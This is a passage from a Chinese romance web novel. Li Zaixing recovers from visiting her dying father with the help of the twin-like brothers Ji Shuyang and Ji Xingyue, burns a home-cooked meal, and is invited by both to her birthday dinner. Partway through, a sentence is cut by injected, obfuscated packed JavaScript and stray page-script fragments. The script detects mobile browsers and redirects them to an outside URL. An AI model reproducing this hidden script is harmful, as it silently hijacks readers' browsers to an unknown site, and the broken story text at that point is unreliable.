心不在焉地坐上出租车,直到司机提醒问去哪,李再星才回过神,想了一会儿,报出滑冰场的名字。 在上次遇见李宏扬的滑冰场下了车,去前台打算买时长最长的套餐,报上名字和手机号时,却被告知有人已经给她包了年卡。 李再星没问是谁,不问也知道。 换上冰鞋,她在偌大的冰场驰骋,想用身体的疲累占据大脑的繁杂思绪。 不知滑了多久,身体终于脱力,重心偏移,她重重摔在坚硬的冰面上。 因为戴着护具,她没有受伤,索性坐在冰面上,大口大口喘气。 心脏剧烈地跳动,胸口闷得像被压着一块石头。 李再星忽然很想念妈妈,却一点也不想回家。 她不能让妈妈看见她这副模样。 李再星丧气地坐在冰面上,垂着脑袋。 狭窄的视野里,忽然滑进一双黑色冰鞋。 她顿了顿,视线缓慢往上,从对方修长的双腿到宽阔的身体,直到对上一双漂亮的眼睛。 男生弯眸一笑:“我就知道你在这。” 28.第 28 章 不知从什么时候起,李再星不需要从他们的相貌去区别他们是谁。 李再星:“季舒阳,你怎么来这了?” 季舒阳朝她伸手,“我偷听了你和季行月的电话。” 说偷听其实有些夸张,季行月给她打电话时,他刚好也在客厅,听见了季行月嘟囔的那句她似乎心情不好。 抱着试一试的想法,来到了这里,果真见到她。 李再星抓住他骨节分明的手,借力站起来,“我没跟季行月说我在这啊。” 季舒阳:“你上次带我来了这。” 李再星一愣,反应过来,原来那次她带过来的“季行月”,是顶替季行月身份的他。 说起这事,李再星又来了气,捶了他一拳:“现在是演都不演了对吧?” 她这拳没用很大力气,对季舒阳来说就跟小猫挠痒似的,但他还是笑着举手投降:“饶命,饶命,我错了。” 李再星这才收手,“你该不会是专门跑来这里请我吃饭的吧?” 季舒阳没否认,“家常菜怎么样?” 李再星原想他如果真是要请她去吃饭,她或许会拒绝,但听他这语气,似乎不是要和她在外面吃。 “你做的?”她问。 季舒阳半开玩笑:“也可以你自己动手。” 李再星无语得想翻白眼,又捶了他一拳,“你是不是跟我太不客气了。” 季舒阳再次举手投降,笑得肩膀抖个不停。 内敛性格原因,他平时的笑容都很浅淡,今天却笑得开朗很多,带着些恶作剧成功的孩子气。 李再星大概知道,他在逗自己开心。 他上一次心情不好,她就带他来了这,所以她今天来这的原因,已经被他猜到。 “行吧,去你家吃饭,我给你露两手。”李再星豪迈放出狠话。 一个小时后,厨房。 砧板上是形状大小不一的土豆块,锅里是起火后烧焦的辣椒和鸡肉,辣味和焦味在空气里交缠。 “咳咳咳……” 李大厨被烟呛得直咳。 季舒阳被李大厨勒令禁止踏入厨房影响她发挥,无奈站在门口,也咳了两声,又调侃道:“这就是你说的露两手?” 李再星给了他一记眼刀,又兀自疑惑:“明明跟着烧菜视频里来的啊……” 季舒阳在看见她把土豆当蛋糕切的时候,就预料到厨房命里有一劫,没有打击她的热情,只很有先见之明地用外卖软件重新下单了一份生鲜食材。 这个点,差不多也该送到了。 玄关外传来说话声和开门声,季行月拎着刚从外卖员手中接过的超市袋子,一边换鞋进屋:“季舒阳,你买这么多菜干嘛……咳咳咳,季舒阳你炸厨房啦?!” 季行月一进屋就被厨房飘来的油烟呛得直咳嗽,都来不及放下便利袋,直奔厨房来看是怎么回事。 却见季舒阳站在厨房门口,厨房里,他刚还在学校找的女生正站在灶台前,斜着肩膀,以一种诡异的姿势,生涩地颠锅。 听见他的动静,李再星喜出望外,“季行月,你回来啦,今天我做饭!” 单听这句话,季行月莫名有一种正在做饭的妻子迎接刚下班回家的丈夫般温馨有爱。 但配上这幅画面,季行月不知道自己吃下那锅黑东西,还能不能活到明天。 不过季行月也没有打击她的热情,而是把指责的目光指向门口的季舒阳,只用两人能听见的声音,“好端端的你让她下什么厨啊?” “为什么不让?”季舒阳也用两人才能听见的声音,“认真地做着不熟练的事,多可爱。” “……希望你待会儿吃她做的菜的时候,也能这么想。” 李再星还是有点自知之明的,炒了一个菜就收手了,剩下的让季舒阳大展神通。 于是在季舒阳在厨房炒菜时,她端着她刚做好的土豆番茄烧鸡,两眼亮晶晶地望向不用做饭的季行月。 季行月:“……” 该死的季舒阳,这也是你计划好的吗! 被算计一手的季行月,硬着头皮去吃了一块番茄。 又酸又咸又甜又苦。 “怎么样怎么样?”李再星迫不及待问。 季行月昧着良心给予肯定:“好吃诶!真的!” 李再星欣慰地笑了,又有点得意:“那你再尝尝鸡肉,虽然刚刚有点烧焦,但应该能吃!” 季行月不知道她这句话里的逻辑关系究竟是怎么成立的,干笑道:“我们等季舒阳来了再吃吧,让他也尝尝。” 说罢朝厨房大喊:“哥你做完了没有!快点!” 他无助到叫哥。 也在心里暗戳戳幸灾乐祸,料定季舒阳也难逃此劫。 季舒阳炒完菜端上桌,在李再星期待到闪亮的眼神下,夹了一块鸡肉,吃进口里。 又焦又生又咸又苦。 李再星同样期待问他:“怎么样?” “我嘴巴刁,吃着味道有点奇怪。” 季舒阳没硬着头皮夸,但说得比较委婉,还给予鼓励:“第一次做已经做得很好了,下次我再帮你把用料比例改良一下。” 李再星果然没泄气,感激地点头:“好!” 季行月没想到还有这招,正在心里骂季舒阳诡计多端时,忽听季舒阳又说:“季行月刚刚是说好吃吧,那就都给他吃吧。” 季行月:“……” 你大爷! 吃完饭,季行月负责洗碗。 天色变暗不少,李再星也该回宿舍了。 但离开前,她得好好地感谢季舒阳。 “今天谢谢你呀,”李再星说,“其实我今天去看了我生父,他生病了,肺癌晚期,虽然去看了他,但我不知道该用什么心情面对他,心里很堵得慌。” 季舒阳看着她,“不必强行逼自己去原谅,不喜欢也可以,因为这是你的感情。就算是家人,也不能左右你的意愿。” 李再星一怔,轻轻点头:“嗯。” 不知道为什么,听完他说的话,她心里豁然开朗。 李再星又捶了下他手臂:“你以后不准抽烟了,知不知道?” 季舒阳笑着弹了下她的额头,当是反击:“早戒了。” 李再星睁大眼睛:“什么时候……” “李再星!” 她还没问完,快洗完碗的季行月从厨房里探出头,“你是不是要回宿舍,我送你?” 李再星下意识看了眼季舒阳,后者没说什么,只是看着她,表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562415|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情淡淡的,让人读不真切。 她扭头看向季行月,“好。” 回宿舍的路上,李再星有点心不在焉。 季行月像是看出来,问:“你今天发生什么事了?” 李再星:“家里出了点事,不过已经过去了。” “过去了就好,”季行月喃喃,转而又向她提议:“下周日要不要跟我一起吃饭?不,”他忽然一顿,改口,“下周日请你和我一起吃饭。” “下周日?” 李再星有些奇怪他怎么突然约起下周日的饭,又想起来,下周日是她的生日。 她无奈又好笑:“你什么时候打听的我的生日?” 季行月嬉笑道:“就今天,我看你心情不好,想问问韩栀子怎么哄你开心,她说的。” 李再星拳头硬了。 韩栀子这个大嘴巴。 “所以,你也是韩栀子跟你说的?” 就在季行月约完她的第二天,季舒阳也找上来了,还不是在微信里,而是亲自找到她上课的教室,等她下课,约她周日这顿饭。 季舒阳嗯了声。 李再星恨自己不能马上飞到东晏,去敲韩栀子几锤。 但她现在光是应对季家兄弟俩就分身乏术,“不好意思啊,我已经先答应季行月了。” 季舒阳嘴唇蠕动了几下,到底什么都没说。 李再星转身要走,却又被他抓住手。 修长有力的手指圈住她的手腕,像要禁锢一般。 “我不可以吗?” 他语气迫切,漆黑的眸子光芒黯淡。 没等李再星回答,他先松开了手,挫败地扯了扯嘴角,“抱歉。” 季舒阳转身,在李再星说出什么话之前,朝相反方向离开。 “这有什么好纠结的,一个约中饭一个约晚饭不就行了?” 听完李再星的纠结,韩姓大嘴巴在电话那边大言不惭,“或者一个约晚饭一个约夜宵,多吃一顿的事儿。” 李再星真的很想邦邦给她两拳,“你是猪吗只想着吃饭,我是在想他们俩个是不是要跟我告白了。” “那就更不用纠结了,”韩栀子邦邦捶了两下心口,“跟着你的心走。” 她说得简单。 但哪有那么简单。 尤其是去拒绝其中一个。 李再星长长地叹息。 到了她生日这天,因为这周调了课,周日下午也要上一节课,所以生日饭改而约在了晚上。 偏偏老师还拖堂了,直到下一节课的上课铃声响起来,别班学生堵在教室外面要用教室,拖堂天王这才拍板下课。 一下课,李再星就把书包拜托给室友们,自己钻出教室,一路往校门口跑。 距校门口还有几十米的时候,远远就看见站在那里的男生。 校门口的银杏树,已经长出嫩绿新叶。他穿着黑色长风衣,站在树下,挺拔的身姿令路过女生频频注目。但他脸上没带任何表情,像一滴墨混入暖色调的调色盘里,与周遭环境格格不入的疏离。 像察觉到她的视线,男生朝这边看过来。 看清她的身影,他弯唇一笑,方才的疏离感瞬间消散。 李再星深呼吸一口气,朝他走过去。